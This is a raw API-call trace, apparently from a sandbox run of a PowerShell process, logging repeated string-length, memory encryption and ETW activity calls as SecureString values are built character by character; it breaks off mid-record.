[0125.031] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.031] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4Hu镇愀㒜愴护") returned 0x20 [0125.031] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.031] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x389d\x7367\x2ead\x48a5\x7d83\x1cf5\xc2fa\x6b2a") returned 0x20 [0125.031] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x389d\x7367\x2ead\x48a5\x7d83\x1cf5\xc2fa\x6b2a") returned 0x20 [0125.031] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.032] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuF愀㒜愴护") returned 0x20 [0125.032] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.032] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xa4d\xbbfc\xf040\xb9de\x97de\x9be5\x15b0\xf5a4") returned 0x20 [0125.032] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xa4d\xbbfc\xf040\xb9de\x97de\x9be5\x15b0\xf5a4") returned 0x20 [0125.032] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.032] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFI㒜愴护") returned 0x20 [0125.032] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.032] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x7713\x37d9\x698c\xe69b\xb5f4\x893d\xcd16\xb532") returned 0x20 [0125.032] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x7713\x37d9\x698c\xe69b\xb5f4\x893d\xcd16\xb532") returned 0x20 [0125.032] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.032] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIh愴护") returned 0x20 [0125.032] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.032] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x1534\x2794\x46cf\x750\x2fc5\xfaf1\x7d33\xfc3a") returned 0x20 [0125.032] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x1534\x2794\x46cf\x750\x2fc5\xfaf1\x7d33\xfc3a") returned 0x20 [0125.032] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.032] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhS护") returned 0x20 [0125.032] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.032] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x1530\x33cb\xa21b\x4bf5\x561f\x3adb\x81e3\x948f") returned 0x20 [0125.032] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\x1530\x33cb\xa21b\x4bf5\x561f\x3adb\x81e3\x948f") returned 0x20 [0125.033] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.033] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY") returned 0x20 [0125.033] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.033] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687") returned 0x20 [0125.033] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687") returned 0x20 [0125.033] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687") returned 0x20 [0125.033] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687") returned 0x28 [0125.033] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.033] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2㳅㡆ሿ팱쿄萍") returned 0x28 [0125.033] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.033] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\xe91a\x988d\xff5c\x7ea1\x1c7b\x5d66\x63f4\xf658") returned 0x28 [0125.033] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\xe91a\x988d\xff5c\x7ea1\x1c7b\x5d66\x63f4\xf658") returned 0x28 [0125.033] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.033] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2N㡆ሿ팱쿄萍") returned 0x28 [0125.033] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.033] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x24a1\xb52b\x292b\xb3d9\xae4a\x9ad7\x39b2\xe934") returned 0x28 [0125.033] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x24a1\xb52b\x292b\xb3d9\xae4a\x9ad7\x39b2\xe934") returned 0x28 [0125.033] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.034] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2NCሿ팱쿄萍") returned 0x28 [0125.034] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.034] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x4d95\x62e1\xefe\xa728\x5f9a\xbcc8\xe695\xdb16") returned 0x28 [0125.034] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x4d95\x62e1\xefe\xa728\x5f9a\xbcc8\xe695\xdb16") returned 0x28 [0125.034] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.034] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2NCT팱쿄萍") returned 0x28 [0125.034] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.034] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x8cbb\x684f\xc509\x144c\x772a\xd518\x2624\xa5d2") returned 0x28 [0125.034] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x8cbb\x684f\xc509\x144c\x772a\xd518\x2624\xa5d2") returned 0x28 [0125.034] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.034] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2NCTH팱쿄萍") returned 0x28 [0125.034] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.034] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x95f5\xd5ca\xd35\xcff6\x2559\x6390\x9802\xd131") returned 0x28 [0125.034] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x95f5\xd5ca\xd35\xcff6\x2559\x6390\x9802\xd131") returned 0x28 [0125.034] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.034] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2NCTH9쿄萍") returned 0x28 [0125.034] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.034] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x7107\x440c\xe858\xeb27\xcc73\xc021\x7bcb\x1320") returned 0x28 [0125.035] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x7107\x440c\xe858\xeb27\xcc73\xc021\x7bcb\x1320") returned 0x28 [0125.035] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.035] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2NCTH9V萍") returned 0x28 [0125.035] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.035] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x8464\xe927\x8498\x9392\xb09d\xb490\x15bc\x38ef") returned 0x28 [0125.035] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x8464\xe927\x8498\x9392\xb09d\xb490\x15bc\x38ef") returned 0x28 [0125.035] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.035] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2NCTH9Vk") returned 0x28 [0125.035] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.035] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x71a8\x7d31\xc0bd\x99f6\xbe73\x3aa7\x417d\x4c64") returned 0x28 [0125.035] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x71a8\x7d31\xc0bd\x99f6\xbe73\x3aa7\x417d\x4c64") returned 0x28 [0125.036] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x71a8\x7d31\xc0bd\x99f6\xbe73\x3aa7\x417d\x4c64") returned 0x28 [0125.036] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x71a8\x7d31\xc0bd\x99f6\xbe73\x3aa7\x417d\x4c64") returned 0x30 [0125.036] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0125.036] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2NCTH9VkL紛돵飰窳⸲҆粷") returned 0x30 [0125.036] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0125.036] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x71a8\x7d31\xc0bd\x99f6\xbe73\x3aa7\x417d\x4c64\xd9d\xfa20\x8d0b\x147\x99f2\x2e9f\x7462\xb6ae") returned 0x30 [0125.036] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x71a8\x7d31\xc0bd\x99f6\xbe73\x3aa7\x417d\x4c64\xd9d\xfa20\x8d0b\x147\x99f2\x2e9f\x7462\xb6ae") returned 0x30 [0125.036] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0125.036] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2NCTH9VkLn돵飰窳⸲҆粷") returned 0x30 [0125.036] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0125.036] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x71a8\x7d31\xc0bd\x99f6\xbe73\x3aa7\x417d\x4c64\xde81\xbb18\x1eb1\xd1b3\xa37a\x398f\x2414\x8ebe") returned 0x30 [0125.036] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x71a8\x7d31\xc0bd\x99f6\xbe73\x3aa7\x417d\x4c64\xde81\xbb18\x1eb1\xd1b3\xa37a\x398f\x2414\x8ebe") returned 0x30 [0125.036] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0125.036] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2NCTH9VkLnQ飰窳⸲҆粷") returned 0x30 [0125.036] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0125.037] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x71a8\x7d31\xc0bd\x99f6\xbe73\x3aa7\x417d\x4c64\xa45b\x30fd\xe517\xe69b\x1a9e\xece5\x1a7c\x5950") returned 0x30 [0125.037] SysStringLen (param_1="\x99b8\xe93b\xecc3\xeb58\xd2cf\x63e0\x7e33\x7917\x958d\xadc4\x9b18\x9957\x28e3\x9f47\xebe4\xd1e7\x6ef7\xd3ba\xc525\x9441\xa5c0\x2009\x24cf\x5277\xc811\x6b8\x1c78\xb13e\x32ca\x648c\x63ef\xa687\x71a8\x7d31\xc0bd\x99f6\xbe73\x3aa7\x417d\x4c64\xa45b\x30fd\xe517\xe69b\x1a9e\xece5\x1a7c\x5950") returned 0x30 [0125.037] SystemFunction041 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0125.037] SysStringLen (param_1="q2AVKRTShBjDHewOq580hAZj4HuFIhSY2NCTH9VkLnQ=窳⸲҆粷") returned 0x30 [0125.037] SystemFunction040 (in: Memory=0x8e31124, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31124) returned 0x0 [0125.037] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.037] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.037] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.037] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c4, nSize=0xe4 | out: lpBuffer="\x2b41\x72ae\x298\x653\x18") returned 0x0 [0125.037] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.037] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.037] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.038] SysStringLen (param_1="") returned 0x8 [0125.038] SysStringLen (param_1="Y") returned 0x8 [0125.038] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.038] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0125.038] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0125.038] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.038] SysStringLen (param_1="YW") returned 0x8 [0125.038] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.038] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0125.038] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0125.038] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.038] SysStringLen (param_1="YWM") returned 0x8 [0125.038] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.038] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0125.038] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0125.038] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.038] SysStringLen (param_1="YWM1") returned 0x8 [0125.038] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.038] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0125.038] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0125.039] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.039] SysStringLen (param_1="YWM1O") returned 0x8 [0125.039] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.039] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0125.039] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0125.039] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.039] SysStringLen (param_1="YWM1OT") returned 0x8 [0125.039] SystemFunction040 (in: 